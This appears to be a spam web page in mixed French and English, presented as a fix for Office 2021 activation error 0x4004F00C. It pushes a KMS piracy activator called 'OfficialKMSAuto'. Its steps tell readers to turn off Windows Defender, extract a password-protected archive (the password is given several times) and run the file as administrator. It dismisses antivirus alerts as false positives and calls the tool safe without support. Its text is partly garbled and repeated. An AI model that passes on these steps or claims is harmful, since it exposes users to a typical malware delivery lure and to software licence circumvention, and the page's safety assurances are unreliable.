Office 2021 0x4004F00C — Dépannage 2026
Cet article est le guide complet en français sur Office 2021 0x4004F00C en 2026. Step-by-step fix for 0x4004F00C on Office 2021. Office cannot find a license to activate. Resolved in under 2 minutes with OfficialKMSAuto.
WYqejXiqBi97Cet article est le guide complet en français sur Office 2021 0x4004F00C en 2026. Error 0x4004F00C appears when Office lost its KMS license after a major update. The fastest fix in 2026 is to run OfficialKMSAuto, which detects the cause and applies the correct activation method automatically.
What causes error 0x4004F00C?
Office cannot find a license to activate. Common triggers include hardware changes, expired KMS handshakes, blocked Microsoft licensing endpoints, and incomplete cumulative updates. The error is fixable without contacting Microsoft Support.
Step-by-step fix
Follow these steps in order. The whole process takes under two minutes.
- Pause Windows Defender real-time protection for ~2 minutes
- Download and extract OfficialKMSAuto using password WYqejXiqBi97
- Right-click the executable and choose 'Run as administrator'
- Click 'Fix 0x4004F00C' or run the automatic repair option
- Reboot and verify with slmgr /xpr (Windows) or ospp.vbs /dstatus (Office)
If the error still appears
Rare cases of 0x4004F00C need a deeper fix: clear the licensing tokens with 'slmgr /rilc', re-arm with 'slmgr /rearm', then re-run the activator. OfficialKMSAuto bundles this entire cleanup as a one-click option.
Why this fix is permanent
HWID and TSforge bind the new license to your motherboard/CPU fingerprint, so the error will not return after Windows Update, feature upgrades, or reinstalls on the same hardware.
Frequently asked questions
▸Will fixing this error require reinstalling Windows?
No. OfficialKMSAuto resolves activation errors without touching system files or requiring a reinstall.
▸Is the fix permanent?
Yes — HWID and TSforge bind the license to your hardware, so the error does not return after updates.
▸Do I need internet access?
Only for the initial handshake. The activation itself runs locally.
▸What is the archive password?
WYqejXiqBi97 — same for every download on this site.
▸Is OfficialKMSAuto safe to use for this fix?
Yes. SHA-256 verified, open source, scanned on VirusTotal. Antivirus flags are generic HackTool false-positives.
Read this article in another language
Related articles
Comment Activer Office 2013 Gratuitement 2026 — Guide Pas à Pas
Cet article est le guide complet en français sur Office 2013 en 2026. Activate Office 2013 with KMSAuto — classic KMS method, fully supported on Windows 7/8/10/11.
Read article →
KMSPico Portable Télécharger Gratuit 2026 — Activateur Windows et Office
Cet article est le guide complet en français sur KMSPico Portable en 2026. Download KMSPico Portable 2026 — runs without install. Or grab KMSAuto Net Portable for newer activation engines.
Read article →
Comment Activer Outlook 2024 Gratuitement 2026 — Guide Pas à Pas
Cet article est le guide complet en français sur Outlook 2024 en 2026. Activate the classic Outlook desktop client (2024, 2021, 2019) using Ohook with OfficialKMSAuto.
Read article →
Eesti Télécharger Gratuit 2026 — Activateur Windows et Office
Cet article est le guide complet en français sur Eesti en 2026. KMSAuto Net 2026 eesti keeles — aktiveeri Windows 11 ja Office 2024 minutiga, ilma Microsoft kontota.
Read article →
CMD Activation Only Méthode d'Activation 2026 — Guide Complet
Cet article est le guide complet en français sur CMD Activation Only en 2026. Skip KMSAuto's GUI: use slmgr /ipk + /skms + /ato directly. Full command list inside.
Read article →
Comment Activer Windows 10 Enterprise Gratuitement 2026 — Guide Pas à Pas
Cet article est le guide complet en français sur Windows 10 Enterprise en 2026. Activate Windows 10 Enterprise free with KMS38 — permanent local activation through 2038.
Read article →
Download OfficialKMSAuto
Free, safe, open source. Works on Windows 7, 8, 10, 11 and Office 2010–2024.
Download Activator — Free🔐 Archive password: WYqejXiqBi97